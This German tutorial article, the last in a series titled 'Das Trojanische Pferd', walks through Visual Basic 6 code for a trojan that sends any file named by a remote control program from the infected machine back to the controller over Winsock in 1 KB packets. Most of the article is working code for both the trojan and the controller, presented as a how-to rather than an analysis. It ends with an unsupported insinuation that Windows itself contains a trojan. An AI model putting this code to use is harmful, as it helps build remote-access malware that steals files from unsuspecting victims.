IT-Academy Logo
Sign Up Login Help
Home - Internet - Der Trojaner überträgt Dateien



Der Trojaner überträgt Dateien

Ausführbare Dateien z.B. müssen binär geöffnet und übertragen werden, dieser Artikel erklärt, wie man dies in VB 6 umsetzt.


Autor: P N (notzomedia)
Datum: 28-12-2003, 16:31:28
Referenzen: keine
Schwierigkeit: Fortgeschrittene
Ansichten: 7306x
Rating: 9 (1x bewertet)

Hinweis:

Für den hier dargestellte Inhalt ist nicht der Betreiber der Plattform, sondern der jeweilige Autor verantwortlich.
Falls Sie Missbrauch vermuten, bitten wir Sie, uns unter missbrauch@it-academy.cc zu kontaktieren.

[Druckansicht] [Als E-Mail senden] [Kommentar verfassen]



Der Trojaner überträgt Dateien

Dateien können nicht einfach wie Text-Nachrichten übertragen werden, da z.B. ausführbare Dateien binär geöffnet werden müssen.
In diesem Artikel beschreibe ich, wie Dateien vom Trojaner zum Steuerprogramm übertragen werden, dies funktioniert natürlich auch in die andere Richtung.
Ich gehe vom Grundprogramm aus, nachzulesen in meinem Artikel "Das Trojanische Pferd".

Fügen Sie beim Steuerprogramm zuerst einen Button "Datei übertragen" ein und schreiben Sie in dessen Prozedur folgenden Code:
Private Sub cmdUebertrageDatei_Click()

meinOrdner = InputBox("Bitte geben Sie den gewünschten Zielordner ein: ", "Datei zu mir
übertragen...", "c:\")

If Not Right(meinOrdner, 1) = "\" Then meinOrdner = meinOrdner & "\"

meinOrdner = meinOrdner & txtfilename.Text

If Dir(meinOrdner) <> "" Then

If MsgBox("Die Datei " & meinOrdner & " besteht schon. Soll Sie überschrieben werden?",
vbCritical + vbYesNo) = vbNo Then Exit Sub

Kill meinOrdner

End If

WinsockHack.SendData "send;" & txtpath.Text

End Sub
Die Variable "meinOrdner" muss außerhalb der Prozedur deklariert werden.
Zuerst wird mit Hilfe einer Eingabebox der gewünschte, lokale Pfad zum Empfangen der Datei abgefragt. Dieser wird, falls nötig mit einem Backslash "; am Ende versehen, anschließend wird der Dateiname der Original-Datei angehängt (muss im Textfeld txtfilename stehen).
Es wird geprüft ob die Datei bereits vorhanden ist, trifft dies zu wird gefragt ob die Datei überschrieben werden soll. Wenn ja wird die Datei gelöscht (bei der Übertragung wird sie neu erstellt).
Am Ende der Prozedur wird der Befehl zum Übertragen mit vollständigem Datei-Pfad (steht im Textfeld txtpath) an den Trojaner gesendet.
Der Trojaner empfängt den Befehl in der Prozedur "WinsockHack_DataArrival" mit folgendem Code:
Case "send"

sendenPfad = Right(daten, Len(daten) - InStr(1, daten, ";"))

If Int(FileLen(sendenPfad) / 1024) * 1024 = FileLen(sendenPfad) Then
WinsockHack.SendData "filelen;" & FileLen(sendenPfad) & "?" & _
Int(FileLen(sendenPfad) / 1024)
ElseIf 1024 > FileLen(sendenPfad) Then
WinsockHack.SendData "filelen;" & FileLen(sendenPfad) & "?" & 1
Else
WinsockHack.SendData "filelen;" & FileLen(sendenPfad) & "?" & _
Int(FileLen(sendenPfad) / 1024) + 1
End If
Der Pfad der zu sendenden Datei wird vom Befehl getrennt.
Da die Datei in Kilobyte-Paketen übertragen werden soll wird berechnet, wie viele Daten-Pakete nötig sind.
In der ersten If-Zeile wird geprüft, ob die Größe der Datei in Byte durch 1024 teilbar ist (1024 Byte = 1 KByte).
Die Nachricht "filelen;" mit der Dateigröße in Byte und der Anzahl an nötigen Daten-Paketen wird an das Steuerprogramm gesendet, welches diese empfängt:
If Left(daten, Len("filelen;")) = "filelen;" Then

EmpfangMax = Right(daten, Len(daten) - InStr(1, daten, "?"))

daten = Left(daten, InStr(1, daten, "?") - 1)
If MsgBox("Dateilänge von " & Right(daten, Len(daten) - Len("filelen;")) & " Byte,
übertragen?",
vbInformation + vbYesNo, "Datei übertragen...") = vbYes Then
empfangJetzt = True
EmpfangCount = 0
FN = FreeFile
Open meinOrdner For Binary As FN
WinsockHack.SendData "sendok;"
End if

End If
Zuerst wird die Anzahl der nötigen Pakete aus dem String extrahiert und in der Variable "EmpfangMax" (außerhalb dieser Prozedur deklarieren!) gespeichert.
Anschließend wird die Größe der ausgewählten Datei in einer MessageBox angezeigt, der User muss die Dateiübertragung jetzt bestätigen.
Bestätigt er, werden die Variablen "empfangJetzt" auf "wahr" bzw. "True" und "EmpfangCount" zum Zählen der empfangenen Pakete auf 0 gesetzt (beide + FN außerhalb der Prozedur deklarieren).
In die Variable "FN" wird eine freie Dateinummer geschrieben, anschließend wird die Datei "meinOrdner" binär geöffnet.
Zum Schluss wird "sendok;" als Bestätigung an den Trojaner gesendet.
Der Trojaner empfängt diese Nachricht:
Case "sendok"
sendeDatei
Außerdem braucht der Trojaner eine weitere Prozedur, welche für die Dateiübertragung verantwortlich ist:
Private Sub sendeDatei()

SendePmax = Int(FileLen(sendenPfad) / 1024)

SendePCount = 1

FN = FreeFile

Open sendenPfad For Binary As #FN

If 1024 > FileLen(sendenPfad) Then
SendFileEnd
Exit Sub
End If

Get #FN, , Datei

WinsockHack.SendData Datei

End Sub
Außerhalb der Prozedur müssen mit "Dim Datei(1 To 1024) As Byte" das Array "Datei" als Byte sowie die Variablen "SendePmax", "SendePCount" und "FN" als Integer deklariert werden.
Zuerst wird der Variable "SendePmax" die Anzahl der 1 KB-Pakete zugewiesen, die Zähl-Variable "SendePCount" wird auf 1 gesetzt. "FN" bekommt eine freie Dateinummer zugewiesen und die Datei "sendenPfad" wird binär geöffnet.
Jetzt wird geprüft, ob die Datei kleiner als 1 KByte ist, und bei Bedarf wird die Prozedur SendFileEnd aufgerufen (wenn die Datei kleiner als 1 KB ist, das Programm aber versucht 1 KB zu lesen und zu senden gibt es Probleme).
Das erste Kilobyte der Datei wird gelesen und an das Steuerprogramm gesendet.

Beim Steuerprogramm muss an den Anfang der Prozedur "WinsockHack_DataArrival" folgender Code geschrieben werden:
If empfangJetzt = True Then

WinsockHack.GetData Datei

Put #FN, , Datei

EmpfangCount = EmpfangCount + 1

If EmpfangCount = EmpfangMax Then
empfangJetzt = False
Close #FN
MsgBox "Datei empfangen!", vbInformation, "Sendevorgang abgeschlossen"
Exit Sub
End If

Exit Sub

WinsockHack.SendData "fileP_received;"

End If
In der ersten Zeile wird geprüft, ob eine Dateiübertragung im Gange ist. Wenn ja wird das Datenpaket binär entgegengenommen und in die geöffnete Datei mit der Dateinummer "FN" geschrieben. Die Zähl-Variable "EmpfangCount" wird um eins erhöht, danach wird geprüft, ob die Dateiübertragung abgeschlossen ist. Wenn ja wird dies in der Variable "empfangJetzt" gespeichert, die Datei wird geschlossen und es wird eine MessageBox angezeigt.
Ansonsten wird die Meldung "fileP_received;" an den Trojaner gesendet.
Der Trojaner empfängt die Meldung:
Case "fileP_received"
SendFileWeiter
...und ruft die Prozedur "SendFileWeiter" auf:
Private Sub SendFileWeiter()

If SendePmax = SendePCount Then SendFileEnd: Exit Sub

If SendePmax < SendePCount Then Exit Sub

Get #FN, , Datei

SendePCount = SendePCount + 1

WinsockHack.SendData Datei

End Sub
Zuerst wird geprüft, ob bereits alle 1 KB Pakete gesendet wurden, ist das so wird die Prozedur "SendFileEnd" aufgerufen, diese überträgt den Rest der Datei, welcher kleiner als 1 KB ist.
Danach wird noch geprüft, ob die Zähl-Variable bereits höher als das Maximum ist, dies trifft zu, wenn das Ende der Datei bereits gesendet wurde (SendFileEnd).
Ansonsten wird die Zähl-Variable um eins erhöht und es wird wieder 1 KB der Datei gelesen und an das Steuerprogramm gesendet.
Die Prozedur "SendFileEnd" (Trojaner):
Private Sub SendFileEnd()

If Not Int(FileLen(sendenPfad) / 1024) * 1024 = FileLen(sendenPfad) Then

ReDim Datei(1 To FileLen(sendenPfad) - (Int(FileLen(sendenPfad) / 1024) * 1024))
As Byte

Get #FN, , Datei

WinsockHack.SendData Datei

End If

SendePCount = SendePCount + 1

Close FN

End Sub
Diese Prozedur überträgt das Ende der Datei.
Zuerst wird noch mal geprüft, ob die Dateigröße nicht durch 1024 teilbar ist (d.h. ob die Datei nicht in KB-Pakete ohne Rest geteilt werden kann). Ist dies nicht so wird die Variable "Datei" neu deklariert, so dass der Rest der Datei genau hinein passt. Dieser Rest wird anschließend gelesen und gesendet.
Nun wird noch die Zähl-Variable "SendePCount" um eins erhöht, um sicher zu stellen, dass diese Prozedur nicht mehrfach ausgeführt wird.
Zum Abschluss der Dateiübertragung wird die Datei mit der Dateinummer "FN" wieder geschlossen.

Mit diesem Artikel möchte ich meine Serie "Das Trojanische Pferd" vorerst abschließen. In den vier Artikeln habe ich versucht zu zeigen, wie einfach es ist ein kleines Trojanisches Pferd zu programmieren und welche Funktionen es bieten kann.

Wer weiß, vielleicht ist in Microsoft Windows auch ein Trojanisches Pferd integriert, welches Verbindung zu Microsoft aufbaut und so zu sagen "nach Hause telefonieren" will.
Was Windows alles sendet, kann man kaum überprüfen. Mit sog. Sniffern sind alle Datenpakete, die über die Netzwerkkarte bzw. das Modem laufen im Klartext lesbar, aber wenn diese Daten verschlüsselt sind?


[back to top]



Userdaten
User nicht eingeloggt

Gesamtranking
Werbung
Datenbankstand
Autoren:04508
Artikel:00815
Glossar:04116
News:13565
Userbeiträge:16552
Queueeinträge:06243
News Umfrage
Ihre Anforderungen an ein Online-Zeiterfassungs-Produkt?
Mobile Nutzung möglich (Ipone, Android)
Externe API Schnittstelle/Plugins dritter
Zeiterfassung meiner Mitarbeiter
Exportieren in CSV/XLS
Siehe Kommentar



[Results] | [Archiv] Votes: 1144
Comments: 0